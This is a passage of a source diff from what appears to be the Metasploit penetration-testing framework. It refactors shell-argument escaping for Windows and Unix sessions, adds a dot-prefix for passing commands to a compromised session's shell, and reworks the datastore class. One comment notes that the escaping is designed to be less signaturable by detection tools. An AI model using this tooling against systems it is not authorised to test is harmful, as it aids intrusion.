||||
}
|
||||
result_options.merge!(do_login(credential.public, credential.private, 1))
|
||||
Result.new(result_options)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -94,6 +94,10 @@ module Metasploit
|
||||
info
|
||||
end
|
||||
|
||||
def self.is_posix(platform)
|
||||
return ['unifi','linux','osx','solaris','bsd','hpux','aix'].include?(platform)
|
||||
end
|
||||
|
||||
def self.get_platform_from_info(info)
|
||||
case info
|
||||
when /unifi\.version|UniFiSecurityGateway/i # Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.4.41"
|
||||
VERSION = "6.4.53"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -623,7 +623,7 @@ class ReadableText
|
||||
)
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
if mod.datastore.is_a?(Msf::DataStore)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
|
||||
@@ -202,6 +202,8 @@ Shell Banner:
|
||||
tbl << [key, value]
|
||||
end
|
||||
|
||||
tbl << ['.<command>', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"]
|
||||
|
||||
print(tbl.to_s)
|
||||
print("For more info on a specific command, use %grn<command> -h%clr or %grnhelp <command>%clr.\n\n")
|
||||
end
|
||||
@@ -213,6 +215,11 @@ Shell Banner:
|
||||
print_line
|
||||
end
|
||||
|
||||
def escape_arg(arg)
|
||||
# By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping
|
||||
arg
|
||||
end
|
||||
|
||||
def cmd_background(*args)
|
||||
if !args.empty?
|
||||
# We assume that background does not need arguments
|
||||
@@ -607,8 +614,13 @@ Shell Banner:
|
||||
end
|
||||
|
||||
# Built-in command
|
||||
if commands.key?(method)
|
||||
return run_builtin_cmd(method, arguments)
|
||||
if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1]))
|
||||
# Handle overlapping built-ins with actual shell commands by prepending '.'
|
||||
if method[0] == '.' and commands.key?(method[1..-1])
|
||||
return shell_write(cmd[1..-1] + command_termination)
|
||||
else
|
||||
return run_builtin_cmd(method, arguments)
|
||||
end
|
||||
end
|
||||
|
||||
# User input is not a built-in command, write to socket directly
|
||||
|
||||
@@ -6,43 +6,8 @@ module Msf::Sessions
|
||||
super
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_unix(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
self.class.to_cmd(cmd_and_args)
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
self.class.escape_arg(arg)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def self.to_cmd(cmd_and_args)
|
||||
escaped = cmd_and_args.map do |arg|
|
||||
escape_arg(arg)
|
||||
end
|
||||
|
||||
escaped.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def self.escape_arg(arg)
|
||||
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
|
||||
if result == ''
|
||||
result = "''"
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
include Msf::Sessions::UnixEscaping
|
||||
extend Msf::Sessions::UnixEscaping
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -6,114 +6,7 @@ module Msf::Sessions
|
||||
super
|
||||
end
|
||||
|
||||
def self.space_chars
|
||||
[' ', '\t', '\v']
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_win32(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
self.class.to_cmd(cmd_and_args)
|
||||
end
|
||||
|
||||
# Escape a process for the command line
|
||||
# @param executable [String] The process to launch
|
||||
def self.escape_cmd(executable)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
executable.include?(char)
|
||||
end
|
||||
|
||||
if needs_quoting
|
||||
executable = "\"#{executable}\""
|
||||
end
|
||||
|
||||
executable
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
|
||||
# @param args [Array<String>] The arguments to the process
|
||||
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
|
||||
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
|
||||
# will in turn be interpreted by CommandLineToArgvW.
|
||||
def self.argv_to_commandline(args)
|
||||
escaped_args = args.map do |arg|
|
||||
escape_arg(arg)
|
||||
end
|
||||
|
||||
escaped_args.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Windows shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def self.escape_arg(arg)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
arg.include?(char)
|
||||
end
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Quotes need to be escaped
|
||||
arg = arg.gsub('"', '\\"')
|
||||
|
||||
if needs_quoting
|
||||
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
|
||||
arg = arg.gsub(/(\\*)$/, '\\1\\1')
|
||||
arg = "\"#{arg}\""
|
||||
end
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
arg = '""' if arg == ''
|
||||
|
||||
arg
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def self.to_cmd(cmd_and_args)
|
||||
# The space, caret and quote chars need to be inside double-quoted strings.
|
||||
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
|
||||
#
|
||||
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
|
||||
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
|
||||
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
|
||||
# For example:
|
||||
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
|
||||
#
|
||||
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
|
||||
# which would make it less signaturable.
|
||||
#
|
||||
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
|
||||
# (if we've been inside them in the current "token"), and then start a new "token".
|
||||
|
||||
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
|
||||
|
||||
escaped_cmd_and_args = cmd_and_args.map do |arg|
|
||||
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
|
||||
arg = arg.gsub(/([^\\])"/, '\\1""')
|
||||
arg = arg.gsub(/^"/, '""')
|
||||
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
result.gsub!(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
result = '""' if result == ''
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
escaped_cmd_and_args.join(' ')
|
||||
end
|
||||
include Msf::Sessions::WindowsEscaping
|
||||
extend Msf::Sessions::WindowsEscaping
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -23,7 +23,7 @@ class Msf::Sessions::SMB
|
||||
# @option opts [RubySMB::Client] :client
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
@simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)
|
||||
@simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client, msf_session: self)
|
||||
self.console = Rex::Post::SMB::Ui::Console.new(self)
|
||||
super(rstream, opts)
|
||||
end
|
||||
@@ -53,6 +53,13 @@ class Msf::Sessions::SMB
|
||||
end
|
||||
end
|
||||
|
||||
def verify_connectivity
|
||||
@client.dispatcher.tcp_socket.peerinfo
|
||||
rescue Errno::ENOTCONN
|
||||
self.kill
|
||||
raise
|
||||
end
|
||||
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
@@ -140,5 +147,4 @@ class Msf::Sessions::SMB
|
||||
# the EOFError so we can drop this handle like a bad habit.
|
||||
raise EOFError if (console.stopped? == true)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -238,6 +238,13 @@ module Msf::Sessions
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
# this won't work after the rstream is initialized, so do it first
|
||||
@platform = Metasploit::Framework::Ssh::Platform.get_platform(ssh_connection)
|
||||
if @platform == 'windows'
|
||||
extend(Msf::Sessions::WindowsEscaping)
|
||||
elsif Metasploit::Framework::Ssh::Platform.is_posix(@platform)
|
||||
extend(Msf::Sessions::UnixEscaping)
|
||||
else
|
||||
raise ::Net::SSH::Exception.new("Unknown platform: #{platform}")
|
||||
end
|
||||
|
||||
# if the platform is known, it was recovered by communicating with the device, so skip verification, also not all
|
||||
# shells accessed through SSH may respond to the echo command issued for verification as expected
|
||||
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
module Msf::Sessions
|
||||
module UnixEscaping
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_unix(cmd,timeout)
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
escaped = cmd_and_args.map { |arg| escape_arg(arg) }
|
||||
|
||||
escaped.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Unix shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';']
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'")
|
||||
if result == ''
|
||||
result = "''"
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
Executable
+102
@@ -0,0 +1,102 @@
|
||||
module Msf::Sessions
|
||||
module WindowsEscaping
|
||||
def space_chars
|
||||
[' ', '\t', '\v']
|
||||
end
|
||||
|
||||
def shell_command_token(cmd,timeout = 10)
|
||||
shell_command_token_win32(cmd,timeout)
|
||||
end
|
||||
|
||||
# Escape a process for the command line
|
||||
# @param executable [String] The process to launch
|
||||
def escape_cmd(executable)
|
||||
needs_quoting = space_chars.any? do |char|
|
||||
executable.include?(char)
|
||||
end
|
||||
|
||||
if needs_quoting
|
||||
executable = "\"#{executable}\""
|
||||
end
|
||||
|
||||
executable
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW.
|
||||
# @param args [Array<String>] The arguments to the process
|
||||
# @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed
|
||||
# to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it
|
||||
# will in turn be interpreted by CommandLineToArgvW.
|
||||
def argv_to_commandline(args)
|
||||
escaped_args = args.map { |arg| escape_arg(arg) }
|
||||
|
||||
escaped_args.join(' ')
|
||||
end
|
||||
|
||||
# Escape an individual argument per Windows shell rules
|
||||
# @param arg [String] Shell argument
|
||||
def escape_arg(arg)
|
||||
needs_quoting = space_chars.any? { |char| arg.include?(char) }
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
arg = arg.gsub(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Quotes need to be escaped
|
||||
arg = arg.gsub('"', '\\"')
|
||||
|
||||
if needs_quoting
|
||||
# At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too
|
||||
arg = arg.gsub(/(\\*)$/, '\\1\\1')
|
||||
arg = "\"#{arg}\""
|
||||
end
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
arg = '""' if arg == ''
|
||||
|
||||
arg
|
||||
end
|
||||
|
||||
# Convert the executable and argument array to a command that can be run in this command shell
|
||||
# @param cmd_and_args [Array<String>] The process path and the arguments to the process
|
||||
def to_cmd(cmd_and_args)
|
||||
# The space, caret and quote chars need to be inside double-quoted strings.
|
||||
# The percent character needs to be escaped using a caret char, while being outside a double-quoted string.
|
||||
#
|
||||
# Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring
|
||||
# characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case,
|
||||
# the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not.
|
||||
# For example:
|
||||
# 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%'
|
||||
#
|
||||
# There is flexibility in how you might implement this, but I think this one looks the most "human" to me,
|
||||
# which would make it less signaturable.
|
||||
#
|
||||
# To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes
|
||||
# (if we've been inside them in the current "token"), and then start a new "token".
|
||||
|
||||
quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|']
|
||||
|
||||
escaped_cmd_and_args = cmd_and_args.map do |arg|
|
||||
# Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below)
|
||||
arg = arg.gsub(/([^\\])"/, '\\1""')
|
||||
arg = arg.gsub(/^"/, '""')
|
||||
|
||||
result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"')
|
||||
|
||||
# Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote
|
||||
# We need to send double the number of backslashes to make it work as expected
|
||||
# See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks
|
||||
result.gsub!(/(\\*)"/, '\\1\\1"')
|
||||
|
||||
# Empty string needs to be coerced to have a value
|
||||
result = '""' if result == ''
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
escaped_cmd_and_args.join(' ')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -58,8 +58,9 @@ module Auxiliary
|
||||
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
mod.options.validate(mod.datastore)
|
||||
# Validate the option container state so that options will
|
||||
# be normalized
|
||||
mod.validate
|
||||
|
||||
# Initialize user interaction
|
||||
if ! opts['Quiet']
|
||||
|
||||
@@ -79,7 +79,7 @@ module Exploit
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
exploit.options.validate(exploit.datastore)
|
||||
exploit.validate
|
||||
|
||||
# Start it up
|
||||
driver = Msf::ExploitDriver.new(exploit.framework)
|
||||
|
||||
@@ -55,7 +55,7 @@ module Post
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
mod.options.validate(mod.datastore)
|
||||
mod.validate
|
||||
|
||||
# Initialize user interaction
|
||||
if ! opts['Quiet']
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for modules which intend to handle multiple hosts
|
||||
# themselves through some means, e.g. scanners. This circumvents the typical
|
||||
# RHOSTS -> RHOST logic offered by the framework.
|
||||
#
|
||||
###
|
||||
|
||||
module Auxiliary::MultipleTargetHosts
|
||||
|
||||
def has_check?
|
||||
respond_to?(:check_host)
|
||||
end
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -10,6 +10,8 @@ module Msf
|
||||
|
||||
module Auxiliary::Scanner
|
||||
|
||||
include Msf::Auxiliary::MultipleTargetHosts
|
||||
|
||||
class AttemptFailed < Msf::Auxiliary::Failed
|
||||
end
|
||||
|
||||
@@ -31,20 +33,6 @@ def initialize(info = {})
|
||||
|
||||
end
|
||||
|
||||
def has_check?
|
||||
respond_to?(:check_host)
|
||||
end
|
||||
|
||||
def check
|
||||
nmod = replicant
|
||||
begin
|
||||
nmod.check_host(datastore['RHOST'])
|
||||
rescue NoMethodError
|
||||
Exploit::CheckCode::Unsupported
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
# IPv4 addr can be 16 chars + 1 for : and + 5 for port
|
||||
super.ljust(21)
|
||||
|
||||
+293
-98
@@ -3,40 +3,61 @@ module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# The data store is just a bitbucket that holds keyed values. It is used
|
||||
# by various classes to hold option values and other state information.
|
||||
#
|
||||
###
|
||||
class DataStore < Hash
|
||||
class DataStore
|
||||
|
||||
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
|
||||
# The global framework datastore doesn't currently import options
|
||||
# For now, store an ad-hoc list of keys that the shell handles
|
||||
#
|
||||
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
|
||||
# class instead, if the feature is enabled
|
||||
def self.new
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
|
||||
return Msf::DataStoreWithFallbacks.new
|
||||
end
|
||||
|
||||
instance = allocate
|
||||
instance.send(:initialize)
|
||||
instance
|
||||
end
|
||||
# This list could be removed if framework's bootup sequence registers
|
||||
# these as datastore options
|
||||
GLOBAL_KEYS = %w[
|
||||
ConsoleLogging
|
||||
LogLevel
|
||||
MinimumRank
|
||||
SessionLogging
|
||||
TimestampOutput
|
||||
Prompt
|
||||
PromptChar
|
||||
PromptTimeFormat
|
||||
MeterpreterPrompt
|
||||
SessionTlvLogging
|
||||
]
|
||||
|
||||
#
|
||||
# Initializes the data store's internal state.
|
||||
#
|
||||
def initialize()
|
||||
def initialize
|
||||
@options = Hash.new
|
||||
@aliases = Hash.new
|
||||
@imported = Hash.new
|
||||
@imported_by = Hash.new
|
||||
|
||||
# default values which will be referenced when not defined by the user
|
||||
@defaults = Hash.new
|
||||
|
||||
# values explicitly defined, which take precedence over default values
|
||||
@user_defined = Hash.new
|
||||
end
|
||||
|
||||
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
|
||||
attr_accessor :options
|
||||
attr_accessor :aliases
|
||||
attr_accessor :imported
|
||||
attr_accessor :imported_by
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
|
||||
attr_accessor :user_defined
|
||||
|
||||
#
|
||||
# Was this entry actually set or just using its default
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def default?(key)
|
||||
search_for(key).default?
|
||||
end
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
@@ -44,8 +65,6 @@ class DataStore < Hash
|
||||
#
|
||||
def []=(k, v)
|
||||
k = find_key_case(k)
|
||||
@imported[k] = false
|
||||
@imported_by[k] = nil
|
||||
|
||||
opt = @options[k]
|
||||
unless opt.nil?
|
||||
@@ -57,49 +76,76 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
|
||||
super(k,v)
|
||||
@user_defined[k] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around hash lookup
|
||||
#
|
||||
def [](k)
|
||||
super(find_key_case(k))
|
||||
search_result = search_for(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around store
|
||||
# Case-insensitive wrapper around store; Skips option validation entirely
|
||||
#
|
||||
def store(k,v)
|
||||
super(find_key_case(k), v)
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp(k) == 0 }
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
# specified value, v. This update does not alter the imported status of
|
||||
# the value.
|
||||
# specified value, v. Skips option validation entirely.
|
||||
#
|
||||
def update_value(k, v)
|
||||
self.store(k, v)
|
||||
store(k, v)
|
||||
end
|
||||
|
||||
#
|
||||
# unset the current key from the datastore
|
||||
# @param [String] key The key to search for
|
||||
def unset(key)
|
||||
k = find_key_case(key)
|
||||
search_result = search_for(k)
|
||||
@user_defined.delete(k)
|
||||
|
||||
search_result.value
|
||||
end
|
||||
|
||||
# @deprecated use #{unset} instead, or set the value explicitly to nil
|
||||
# @param [String] key The key to search for
|
||||
def delete(key)
|
||||
unset(key)
|
||||
end
|
||||
|
||||
#
|
||||
# Removes an option and any associated value
|
||||
#
|
||||
# @param [String] name the option name
|
||||
# @return [nil]
|
||||
def remove_option(name)
|
||||
k = find_key_case(name)
|
||||
@user_defined.delete(k)
|
||||
@aliases.delete_if { |_, v| v.casecmp?(k) }
|
||||
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# This method is a helper method that imports the default value for
|
||||
# all of the supplied options
|
||||
#
|
||||
def import_options(options, imported_by = nil, overwrite = false)
|
||||
options.each_option do |name, opt|
|
||||
if self[name].nil? || overwrite
|
||||
import_option(name, opt.default, true, imported_by, opt)
|
||||
def import_options(options, imported_by = nil, overwrite = true)
|
||||
options.each_option do |name, option|
|
||||
if self.options[name].nil? || overwrite
|
||||
key = name
|
||||
option.aliases.each do |a|
|
||||
@aliases[a.downcase] = key.downcase
|
||||
end
|
||||
@options[key] = option
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -142,22 +188,32 @@ class DataStore < Hash
|
||||
hash[var] = val
|
||||
}
|
||||
|
||||
import_options_from_hash(hash)
|
||||
merge!(hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Imports options from a hash and stores them in the datastore.
|
||||
# Imports values from a hash and stores them in the datastore.
|
||||
#
|
||||
# @deprecated use {#merge!} instead
|
||||
# @return [nil]
|
||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||
option_hash.each_pair { |key, val|
|
||||
import_option(key, val, imported, imported_by)
|
||||
}
|
||||
merge!(option_hash)
|
||||
end
|
||||
|
||||
# Update defaults from a hash. These merged values are not validated by default.
|
||||
#
|
||||
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
|
||||
# @param [Object] imported_by Who imported the defaults, not currently used
|
||||
# @return [nil]
|
||||
def import_defaults_from_hash(hash, imported_by:)
|
||||
@defaults.merge!(hash)
|
||||
end
|
||||
|
||||
# TODO: Doesn't normalize data in the same vein as:
|
||||
# https://github.com/rapid7/metasploit-framework/pull/6644
|
||||
# @deprecated Use {#import_options}
|
||||
def import_option(key, val, imported = true, imported_by = nil, option = nil)
|
||||
self.store(key, val)
|
||||
store(key, val)
|
||||
|
||||
if option
|
||||
option.aliases.each do |a|
|
||||
@@ -165,10 +221,32 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
@options[key] = option
|
||||
@imported[key] = imported
|
||||
@imported_by[key] = imported_by
|
||||
end
|
||||
|
||||
# @return [Array<String>] The array of user defined datastore values, and registered option names
|
||||
def keys
|
||||
(@user_defined.keys + @options.keys).uniq(&:downcase)
|
||||
end
|
||||
|
||||
# @return [Integer] The length of the registered keys
|
||||
def length
|
||||
keys.length
|
||||
end
|
||||
|
||||
alias count length
|
||||
alias size length
|
||||
|
||||
# @param [String] key
|
||||
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
|
||||
def key?(key)
|
||||
matching_key = find_key_case(key)
|
||||
keys.include?(matching_key)
|
||||
end
|
||||
|
||||
alias has_key? key?
|
||||
alias include? key?
|
||||
alias member? key?
|
||||
|
||||
#
|
||||
# Serializes the options in the datastore to a string.
|
||||
#
|
||||
@@ -179,7 +257,7 @@ class DataStore < Hash
|
||||
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||
}
|
||||
|
||||
return str
|
||||
str
|
||||
end
|
||||
|
||||
# Override Hash's to_h method so we can include the original case of each key
|
||||
@@ -188,7 +266,7 @@ class DataStore < Hash
|
||||
def to_h
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
datastore_hash[k.to_s] = self[k]
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
@@ -225,7 +303,7 @@ class DataStore < Hash
|
||||
ini.add_group(name)
|
||||
|
||||
# Save all user-defined options to the file.
|
||||
user_defined.each_pair { |k, v|
|
||||
@user_defined.each_pair { |k, v|
|
||||
ini[name][k] = v
|
||||
}
|
||||
|
||||
@@ -243,73 +321,73 @@ class DataStore < Hash
|
||||
return
|
||||
end
|
||||
|
||||
if (ini.group?(name))
|
||||
import_options_from_hash(ini[name], false)
|
||||
if ini.group?(name)
|
||||
merge!(ini[name])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a deep copy of this datastore.
|
||||
#
|
||||
# Return a copy of this datastore. Only string values will be duplicated, other values
|
||||
# will share the same reference
|
||||
# @return [Msf::DataStore] a new datastore instance
|
||||
def copy
|
||||
ds = self.class.new
|
||||
self.keys.each do |k|
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
new_instance = self.class.new
|
||||
new_instance.copy_state(self)
|
||||
new_instance
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge! so that we merge the aliases and imported hashes
|
||||
# Merge the other object into the current datastore's aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore, Hash] other
|
||||
def merge!(other)
|
||||
if other.is_a? DataStore
|
||||
if other.is_a?(DataStore)
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.imported.merge!(other.imported)
|
||||
self.imported_by.merge!(other.imported_by)
|
||||
self.options.merge!(other.options)
|
||||
self.defaults.merge!(other.defaults)
|
||||
other.user_defined.each do |k, v|
|
||||
@user_defined[find_key_case(k)] = v
|
||||
end
|
||||
else
|
||||
other.each do |k, v|
|
||||
self.store(k, v)
|
||||
end
|
||||
end
|
||||
# call super last so that we return a reference to ourselves
|
||||
super
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
alias update merge!
|
||||
|
||||
#
|
||||
# Reverse Merge the other object into the current datastore's aliases and imported hashes
|
||||
# Equivalent to ActiveSupport's reverse_merge! functionality.
|
||||
#
|
||||
# @param [Msf::Datastore] other
|
||||
def reverse_merge!(other)
|
||||
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore)
|
||||
|
||||
copy_state(other.merge(self))
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
# @param [Msf::Datastore,Hash] other
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
#
|
||||
def user_defined
|
||||
reject { |k, v|
|
||||
@imported[k] == true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Remove all imported options from the data store.
|
||||
#
|
||||
def clear_non_user_defined
|
||||
@imported.delete_if { |k, v|
|
||||
if (v and @imported_by[k] != 'self')
|
||||
self.delete(k)
|
||||
@imported_by.delete(k)
|
||||
end
|
||||
|
||||
v
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Completely clear all values in the hash
|
||||
# Completely clear all values in the data store
|
||||
#
|
||||
def clear
|
||||
self.keys.each {|k| self.delete(k) }
|
||||
self.options.clear
|
||||
self.aliases.clear
|
||||
self.defaults.clear
|
||||
self.user_defined.clear
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
@@ -325,28 +403,145 @@ class DataStore < Hash
|
||||
list.each(&block)
|
||||
end
|
||||
|
||||
alias each_pair each
|
||||
|
||||
